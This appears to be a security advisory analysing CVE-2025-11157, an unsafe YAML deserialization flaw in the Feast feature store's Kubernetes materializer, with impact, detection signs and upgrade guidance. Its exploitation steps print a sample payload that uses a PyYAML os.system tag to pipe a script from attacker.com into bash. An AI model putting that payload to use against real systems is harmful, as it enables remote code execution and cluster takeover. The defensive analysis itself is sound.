CVE-2025-11157: 
Python vulnerability analysis and mitigation

CVE-2025-11157 is a high-severity deserialization vulnerability in the Feast (feast-dev/feast) open-source feature store, specifically in the Kubernetes materializer job component. The flaw exists in feast/sdk/python/feast/infra/compute_engines/kubernetes/main.py and affects versions prior to 0.54.0 (confirmed in version 0.53.0). It was published on January 1, 2026, with a patch released in version 0.54.0. The vulnerability carries a CVSS v3.0 base score of 7.8 (High) (Github Advisory, Red Hat CVE).

The root cause is the use of yaml.load(..., Loader=yaml.Loader) — an unsafe YAML deserialization method — to parse /var/feast/feature_store.yaml and /var/feast/materialization_config.yaml in the Kubernetes worker pod (CWE-502: Deserialization of Untrusted Data). Python's yaml.Loader supports arbitrary object instantiation via YAML tags (e.g., !!python/object/apply), allowing an attacker who can write to these config files to embed payloads that execute OS commands when the files are loaded. Critically, this deserialization occurs before any configuration validation, widening the exploitation window. The fix replaces yaml.load(..., Loader=yaml.Loader) with yaml.safe_load(), which restricts deserialization to basic Python types (Github Commit, Github Advisory).

Successful exploitation allows an attacker to execute arbitrary OS commands on the Kubernetes worker pod running the Feast materializer job, with high impact to confidentiality, integrity, and availability. This can lead to full cluster takeover, data poisoning of feature store data used in ML pipelines, and supply-chain sabotage affecting downstream consumers of the feature store. The attack vector is local (requiring file write access to the YAML config files), but in a Kubernetes environment, a compromised pod or misconfigured RBAC could enable this access (Github Advisory).

No public exploit code or in-the-wild exploitation has been reported as of the time of writing. The vulnerability requires low privileges (local file write access to the YAML configuration files on the worker pod) and no user interaction. The EPSS score is approximately 0.218% (44th percentile), indicating a relatively low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. It was discovered and reported via the Huntr bug bounty platform (huntr.com, Github Advisory).

1. Gain write access to YAML config files: Obtain the ability to modify /var/feast/feature_store.yaml or /var/feast/materialization_config.yaml on the Kubernetes worker pod — this could be achieved via a compromised container, misconfigured volume mounts, or excessive RBAC permissions allowing pod exec or ConfigMap/Secret modification.
2. Craft a malicious YAML payload: Insert a Python object instantiation payload using PyYAML's unsafe tag syntax, for example:

!!python/object/apply:os.system
- 'curl http://attacker.com/shell.sh | bash'

3. Trigger deserialization: Wait for or trigger the Feast Kubernetes materializer job to run. When the job starts, it reads and deserializes the YAML files using yaml.load(..., Loader=yaml.Loader) before any validation occurs.
4. Achieve code execution: The malicious YAML payload causes arbitrary OS command execution on the worker pod as the process user, enabling reverse shell establishment, credential theft, lateral movement within the cluster, or data poisoning of the feature store (Github Advisory, Github Commit).

• File System: Unexpected modifications to /var/feast/feature_store.yaml or /var/feast/materialization_config.yaml containing YAML tags such as !!python/object, !!python/object/apply, or !!python/object/new.
• Process: Unusual child processes spawned by the Feast materializer Python process (e.g., bash, sh, curl, wget, python) that are not part of normal materialization workflow.
• Network: Unexpected outbound network connections from the Feast worker pod to external or unusual internal IP addresses, particularly during or shortly after materialization job startup.
• Logs: Python tracebacks or unexpected output in Feast materializer job logs during YAML loading phase; Kubernetes audit logs showing unauthorized access to ConfigMaps, Secrets, or pod exec events targeting the materializer pod.

Upgrade feast-dev/feast to version 0.54.0 or later, which replaces the unsafe yaml.load(..., Loader=yaml.Loader) calls with yaml.safe_load() in the Kubernetes materializer (Github Commit). As a workaround prior to patching, restrict write access to /var/feast/feature_store.yaml and /var/feast/materialization_config.yaml using Kubernetes RBAC, Pod Security Admission, and file system permissions to limit which principals can modify these files. Additionally, audit Kubernetes RBAC policies to ensure no unnecessary pod exec or ConfigMap/Secret write permissions are granted to untrusted identities (Github Advisory).

The vulnerability was disclosed via the Huntr AI bug bounty platform and received coverage from security news aggregators including TheHackerWire on Mastodon and Bluesky. Red Hat published a CVE advisory entry, and INCIBE-CERT (Spain's national cybersecurity agency) issued an early warning. Community reaction has been limited given the relatively narrow scope of the affected component (Kubernetes materializer in Feast), but the potential for cluster takeover in ML infrastructure environments drew attention from MLSecOps-focused communities (Red Hat CVE).